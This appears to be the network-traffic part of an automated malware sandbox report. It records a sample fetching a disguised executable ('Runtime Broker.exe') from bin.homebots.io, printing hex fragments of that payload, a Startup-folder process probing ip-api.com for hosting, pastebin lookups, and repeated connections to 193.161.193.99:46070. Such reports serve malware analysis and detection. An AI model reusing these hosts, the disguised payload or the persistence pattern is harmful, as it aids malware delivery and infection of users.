Oct 13, 2024 19:12:55.462100983 CEST	50021	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:55.479429960 CEST	50021	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:55.484200001 CEST	46070	50021	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:57.104655027 CEST	46070	50021	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:57.104722977 CEST	50021	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:58.205162048 CEST	50021	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:58.206162930 CEST	50022	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:58.210093975 CEST	46070	50021	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:58.211148024 CEST	46070	50022	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:58.211230993 CEST	50022	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:58.226952076 CEST	50022	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:58.231949091 CEST	46070	50022	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:59.850019932 CEST	46070	50022	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:59.850263119 CEST	50022	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:13:01.402662992 CEST	50022	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:13:01.404428005 CEST	50023	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:13:01.407749891 CEST	46070	50022	193.161.193.99	192.168.2.4
Oct 13, 2024 19:13:01.409461021 CEST	46070	50023	193.161.193.99	192.168.2.4
Oct 13, 2024 19:13:01.409534931 CEST	50023	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:13:01.426114082 CEST	50023	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:13:01.431427002 CEST	46070	50023	193.161.193.99	192.168.2.4
Oct 13, 2024 19:13:03.052736044 CEST	46070	50023	193.161.193.99	192.168.2.4
Oct 13, 2024 19:13:03.052913904 CEST	50023	46070	192.168.2.4	193.161.193.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 19:11:02.901424885 CEST	52603	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:11:03.038038969 CEST	53	52603	1.1.1.1	192.168.2.4
Oct 13, 2024 19:11:09.981040001 CEST	56522	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:11:09.988173008 CEST	53	56522	1.1.1.1	192.168.2.4
Oct 13, 2024 19:12:12.098248959 CEST	52467	53	192.168.2.4	1.1.1.1
Oct 13, 2024 19:12:12.105202913 CEST	53	52467	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2024 19:11:02.901424885 CEST	192.168.2.4	1.1.1.1	0xcf9b	Standard query (0)	bin.homebots.io	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:11:09.981040001 CEST	192.168.2.4	1.1.1.1	0xa842	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:12:12.098248959 CEST	192.168.2.4	1.1.1.1	0x5ca6	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 13, 2024 19:11:03.038038969 CEST	1.1.1.1	192.168.2.4	0xcf9b	No error (0)	bin.homebots.io	homebots.io		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2024 19:11:03.038038969 CEST	1.1.1.1	192.168.2.4	0xcf9b	No error (0)	homebots.io		143.178.83.216	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:11:09.988173008 CEST	1.1.1.1	192.168.2.4	0xa842	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:12:12.105202913 CEST	1.1.1.1	192.168.2.4	0x5ca6	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:12:12.105202913 CEST	1.1.1.1	192.168.2.4	0x5ca6	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 13, 2024 19:12:12.105202913 CEST	1.1.1.1	192.168.2.4	0x5ca6	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bin.homebots.io

pastebin.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	208.95.112.1	80	4320	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 19:11:09.998233080 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 13, 2024 19:11:10.473622084 CEST	175	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 17:11:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	143.178.83.216	443	2832	C:\Users\user\Desktop\80BvHOM51j.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-13 17:11:03 UTC	166	OUT	GET /f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622 HTTP/1.1 User-Agent: Mozilla/5.0 Host: bin.homebots.io Cache-Control: no-cache
2024-10-13 17:11:04 UTC	273	IN	HTTP/1.1 200 OK name: Runtime Broker.exe content-type: application/x-msdownload lastmodified: 1728762165438 content-length: 174080 last-modified: Sun Oct 13 2024 13:47:19 GMT+0000 (Coordinated Universal Time) date: Sun, 13 Oct 2024 17:11:03 GMT connection: close
2024-10-13 17:11:04 UTC	16111	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 35 d1 0a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0c 01 00 00 9a 01 00 00 00 00 00 fe 29 01 00 00 20 00 00 00 40 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL5g) @@ @
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: 04 2b 0f 28 1c 01 00 06 28 ae 00 00 0a 80 34 00 00 04 07 80 33 00 00 04 17 2d b4 06 2a 1b 30 01 00 1a 00 00 00 00 00 00 00 20 03 00 00 80 28 20 01 00 06 26 de 0c 28 2f 00 00 0a 28 31 00 00 0a de 00 2a 00 00 01 10 00 00 00 00 00 00 0d 0d 00 0c 33 00 00 01 1b 30 03 00 41 00 00 00 33 00 00 11 20 00 01 00 00 73 28 01 00 0a 0b 28 1e 01 00 06 0c 08 07 20 00 01 00 00 28 1f 01 00 06 16 31 09 07 6f 93 00 00 0a 0a de 16 de 0c 28 2f 00 00 0a 28 31 00 00 0a de 00 72 24 06 00 70 0a 2b 00 06 2a 00 00 00 01 10 00 00 00 00 00 00 2b 2b 00 0c 33 00 00 01 13 30 02 00 10 00 00 00 34 00 00 11 28 fc 00 00 0a 02 6f fd 00 00 0a 0a 2b 00 06 2a 13 30 02 00 10 00 00 00 08 00 00 11 28 fc 00 00 0a 02 6f 2e 01 00 0a 0a 2b 00 06 2a 1b 30 03 00 73 00 00 00 35 00 00 11 1b 8d 03 00 00 01 Data Ascii: +((43-0 ( &(/(130A3 s(( (1o(/(1r$p+++304(o+0(o.+*0s5
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: 67 34 53 44 67 41 33 51 58 59 4a 74 75 62 71 31 66 67 59 4f 62 32 73 79 73 31 4d 31 50 71 56 37 49 66 32 34 41 34 78 47 46 44 77 37 46 75 76 4c 42 64 42 00 74 37 41 43 4f 44 4e 73 45 68 69 32 4c 4e 73 43 57 31 73 4e 56 38 4d 67 42 00 6f 74 43 59 46 74 48 35 4e 39 41 59 7a 45 70 41 56 74 53 4c 69 46 4e 30 4a 45 76 58 37 67 38 71 43 6f 38 76 4a 74 46 4d 6a 4d 53 64 6b 64 62 55 57 64 63 78 41 31 50 35 70 42 00 54 32 54 38 35 59 55 6e 65 63 30 50 41 56 37 59 54 75 59 62 70 42 00 45 77 6a 50 6c 69 51 68 4f 4f 6a 47 4f 51 50 61 52 36 41 6a 69 6b 76 62 51 31 6b 35 4e 78 6c 54 6e 35 62 37 6f 73 45 4e 6b 62 46 49 41 55 71 55 34 76 79 68 64 51 67 64 71 66 33 43 74 6b 73 43 63 62 55 7a 44 53 78 4f 32 55 64 58 75 56 49 31 75 43 36 4a 75 6e 56 30 68 47 70 37 36 79 68 Data Ascii: g4SDgA3QXYJtubq1fgYOb2sys1M1PqV7If24A4xGFDw7FuvLBdBt7ACODNsEhi2LNsCW1sNV8MgBotCYFtH5N9AYzEpAVtSLiFN0JEvX7g8qCo8vJtFMjMSdkdbUWdcxA1P5pBT2T85YUnec0PAV7YTuYbpBEwjPliQhOOjGOQPaR6AjikvbQ1k5NxlTn5b7osENkbFIAUqU4vyhdQgdqf3CtksCcbUzDSxO2UdXuVI1uC6JunV0hGp76yh
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: 35 35 33 69 65 55 47 70 61 52 39 47 65 6c 57 45 52 73 00 47 72 61 70 68 69 63 73 00 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 00 46 72 6f 6d 53 65 63 6f 6e 64 73 00 67 65 74 5f 42 6f 75 6e 64 73 00 47 65 74 4d 65 74 68 6f 64 73 00 6b 59 5a 71 32 44 4a 34 75 77 39 4c 4b 73 46 62 36 70 30 6e 69 75 6d 72 73 62 51 68 56 67 57 41 51 6f 73 37 34 33 65 73 00 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 42 61 73 69 63 2e 44 65 76 69 63 65 73 00 4d 79 57 65 62 53 65 72 76 69 63 65 73 00 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 42 61 73 69 63 2e 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 00 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c Data Ascii: 553ieUGpaR9GelWERsGraphicsSystem.DiagnosticsFromSecondsget_BoundsGetMethodskYZq2DJ4uw9LKsFb6p0niumrsbQhVgWAQos743esMicrosoft.VisualBasic.DevicesMyWebServicesMicrosoft.VisualBasic.ApplicationServicesSystem.Runtime.InteropServicesMicrosoft.Visual
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: 31 00 70 00 50 00 70 00 4d 00 6c 00 31 00 54 00 56 00 50 00 48 00 5a 00 4d 00 6d 00 33 00 72 00 64 00 4f 00 75 00 37 00 76 00 51 00 42 00 31 00 46 00 32 00 70 00 76 00 6b 00 4d 00 4f 00 76 00 78 00 6e 00 51 00 78 00 00 75 35 00 44 00 39 00 41 00 70 00 38 00 53 00 66 00 71 00 33 00 39 00 52 00 4a 00 6a 00 74 00 30 00 63 00 31 00 37 00 48 00 70 00 74 00 42 00 4f 00 58 00 4d 00 63 00 51 00 4c 00 49 00 68 00 46 00 70 00 6e 00 6f 00 6a 00 63 00 70 00 47 00 46 00 4b 00 36 00 32 00 34 00 59 00 77 00 33 00 4f 00 67 00 43 00 59 00 62 00 41 00 6f 00 75 00 50 00 44 00 61 00 00 75 38 00 61 00 4b 00 4a 00 54 00 52 00 66 00 33 00 65 00 53 00 49 00 65 00 41 00 35 00 6b 00 35 00 48 00 48 00 7a 00 78 00 42 00 59 00 7a 00 32 00 46 00 63 00 67 00 69 00 59 00 4c 00 73 00 74 Data Ascii: 1pPpMl1TVPHZMm3rdOu7vQB1F2pvkMOvxnQxu5D9Ap8Sfq39RJjt0c17HptBOXMcQLIhFpnojcpGFK624Yw3OgCYbAouPDau8aKJTRf3eSIeA5k5HHzxBYz2FcgiYLst
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff e6 a0 21 f5 e0 92 15 f0 df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff d4 78 00 b0 d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 Data Ascii: (((((((((((((((((((((!xxxxxxxxxxxxxxxxxxx
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 ff b8 64 03 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 78 00 50 d4 78 00 f0 d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 Data Ascii: ddddddddddddddddddddxPxxxxx
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-13 17:11:04 UTC	16384	IN	Data Raw: ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d9 82 08 ff e2 96 19 ff e9 a7 27 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff e6 a0 21 f9 e0 93 16 fb df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 d4 d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 Data Ascii: xxxxxxxxxxxxx'((((((((((((((((((((((!xxxxxxxxx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	143.178.83.216	443	2832	C:\Users\user\Desktop\80BvHOM51j.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-13 17:11:04 UTC	166	OUT	GET /f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622 HTTP/1.1 User-Agent: Mozilla/5.0 Host: bin.homebots.io Cache-Control: no-cache
2024-10-13 17:11:05 UTC	273	IN	HTTP/1.1 200 OK name: Runtime Broker.exe content-type: application/x-msdownload lastmodified: 1728762165438 content-length: 174080 last-modified: Sun Oct 13 2024 13:47:19 GMT+0000 (Coordinated Universal Time) date: Sun, 13 Oct 2024 17:11:05 GMT connection: close
2024-10-13 17:11:05 UTC	14207	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 35 d1 0a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0c 01 00 00 9a 01 00 00 00 00 00 fe 29 01 00 00 20 00 00 00 40 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL5g) @@ @
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 00 3a 01 00 00 01 01 00 00 3b 02 00 00 0f 00 00 00 33 00 00 01 1b 30 04 00 2e 00 00 00 2a 00 00 11 28 5d 00 00 0a 0b 7e 2a 00 00 04 02 07 6f 0c 01 00 0a 28 d3 00 00 06 16 28 d0 00 00 06 0a de 0c de 0a 07 2c 06 07 6f 5a 00 00 0a dc 06 2a 00 00 01 10 00 00 02 00 06 00 1c 22 00 0a 00 00 00 00 1b 30 07 00 d9 02 00 00 2b 00 00 11 02 16 3f c0 02 00 00 03 20 00 01 00 00 28 0d 01 00 0a 28 0e 01 00 0a 39 ab 02 00 00 04 28 0f 01 00 0a 8c 84 00 00 01 13 04 1f 14 28 d6 00 00 06 20 ff ff 00 00 5f 16 fe 01 16 fe 01 8c 43 00 00 01 0b 20 a0 00 00 00 28 d6 00 00 06 20 00 80 00 00 5f 16 33 16 20 a1 00 00 00 28 d6 00 00 06 20 00 80 00 00 5f 16 33 03 16 2b 01 17 8c 43 00 00 01 0d 11 04 28 10 01 00 0a 28 ce 00 00 06 0c 07 28 11 01 00 0a 2d 10 09 28 11 01 00 0a 2d 08 16 8c 43 Data Ascii: :;30.(]~o((,oZ*"0+? ((9(( _C ( _3 ( _3+C(((-(-C
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 47 57 47 35 00 6b 4a 47 66 32 38 4f 37 4d 65 57 52 6b 4b 35 33 35 5a 32 79 45 66 49 68 50 4d 65 55 4d 4a 46 53 57 50 46 32 32 58 66 53 6e 62 38 51 45 52 4a 55 77 72 61 73 65 61 67 45 33 64 45 6f 46 6f 73 4f 41 65 70 4d 35 63 6d 58 6f 45 50 56 65 45 36 47 6c 70 43 57 34 51 61 47 64 32 67 57 55 7a 54 4f 4c 35 00 66 51 42 79 66 48 57 62 55 34 72 35 79 62 78 50 47 58 55 65 6c 6a 53 52 35 00 54 56 42 59 55 54 43 46 4d 4d 4f 6d 78 67 6e 4f 79 71 6d 42 76 35 00 47 7a 57 55 33 42 62 51 44 68 71 58 62 49 4c 4f 38 4b 43 4b 7a 35 00 36 47 61 31 53 63 58 41 31 62 51 78 4a 59 4b 7a 58 57 52 4f 6d 69 78 47 36 00 70 47 31 79 71 79 59 36 45 53 45 4b 41 39 50 62 63 6a 4d 39 73 32 43 4e 78 6d 5a 79 79 74 49 4b 4b 38 36 49 72 51 79 75 42 64 59 4c 36 53 53 35 67 4b 30 4d 6b Data Ascii: GWG5kJGf28O7MeWRkK535Z2yEfIhPMeUMJFSWPF22XfSnb8QERJUwraseagE3dEoFosOAepM5cmXoEPVeE6GlpCW4QaGd2gWUzTOL5fQByfHWbU4r5ybxPGXUeljSR5TVBYUTCFMMOmxgnOyqmBv5GzWU3BbQDhqXbILO8KCKz56Ga1ScXA1bQxJYKzXWROmixG6pG1yqyY6ESEKA9PbcjM9s2CNxmZyytIKK86IrQyuBdYL6SS5gK0Mk
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 00 50 61 72 61 6d 65 74 65 72 49 6e 66 6f 00 43 6f 6d 70 75 74 65 72 49 6e 66 6f 00 50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f 00 47 65 74 4c 61 73 74 49 6e 70 75 74 49 6e 66 6f 00 44 69 72 65 63 74 6f 72 79 49 6e 66 6f 00 33 33 41 6a 46 5a 48 74 37 4a 56 53 42 6c 4a 6f 74 49 54 6f 66 6f 00 71 37 61 31 75 73 47 56 49 71 43 63 6b 4a 38 32 39 67 30 6a 42 61 37 41 39 4f 76 4d 57 78 78 36 54 76 36 32 43 58 6e 6f 00 73 7a 73 68 73 53 36 31 33 76 38 68 6a 72 46 61 65 63 66 41 71 6f 00 5a 65 72 6f 00 67 35 65 62 33 6d 63 6b 4d 57 41 56 46 78 30 39 5a 44 78 6c 75 6f 00 72 30 57 4e 54 57 79 56 44 30 53 69 69 50 62 55 78 6c 67 74 75 6f 00 78 72 6b 34 52 4c 79 52 69 65 70 55 4d 4f 4c 35 76 6a 6b 74 30 69 42 6c 36 55 7a 52 7a 79 45 4d 41 62 44 76 6b 58 77 6f 00 Data Ascii: ParameterInfoComputerInfoProcessStartInfoGetLastInputInfoDirectoryInfo33AjFZHt7JVSBlJotITofoq7a1usGVIqCckJ829g0jBa7A9OvMWxx6Tv62CXnoszshsS613v8hjrFaecfAqoZerog5eb3mckMWAVFx09ZDxluor0WNTWyVD0SiiPbUxlgtuoxrk4RLyRiepUMOL5vjkt0iBl6UzRzyEMAbDvkXwo
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 67 00 5a 00 56 00 6a 00 34 00 79 00 62 00 63 00 72 00 67 00 46 00 72 00 70 00 42 00 77 00 65 00 4b 00 47 00 6b 00 55 00 66 00 58 00 44 00 55 00 6f 00 00 33 43 00 30 00 57 00 7a 00 65 00 42 00 54 00 37 00 31 00 49 00 67 00 31 00 69 00 79 00 5a 00 45 00 34 00 71 00 45 00 6f 00 7a 00 38 00 39 00 61 00 45 00 00 33 70 00 6e 00 70 00 41 00 32 00 6b 00 4d 00 59 00 4f 00 6f 00 7a 00 58 00 4b 00 41 00 76 00 58 00 52 00 72 00 44 00 70 00 69 00 76 00 53 00 33 00 35 00 00 33 69 00 42 00 69 00 4a 00 4c 00 4e 00 51 00 54 00 44 00 53 00 6c 00 72 00 70 00 52 00 6a 00 62 00 71 00 57 00 31 00 63 00 47 00 44 00 57 00 6e 00 37 00 00 75 62 00 68 00 4d 00 33 00 55 00 6b 00 68 00 4c 00 52 00 35 00 56 00 63 00 6e 00 38 00 53 00 75 00 6b 00 68 00 75 00 4f 00 47 00 4f 00 48 00 42 Data Ascii: gZVj4ybcrgFrpBweKGkUfXDUo3C0WzeBT71Ig1iyZE4qEoz89aE3pnpA2kMYOozXKAvXRrDpivS353iBiJLNQTDSlrpRjbqW1cGDWn7ubhM3UkhLR5Vcn8SukhuOGOHB
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 c0 00 00 00 00 d4 78 00 b0 d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d8 81 08 ff e2 96 19 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 Data Ascii: xxxxxxxxxxxxxxxxxxxxxxxx(((((((((((((((((((((((((((
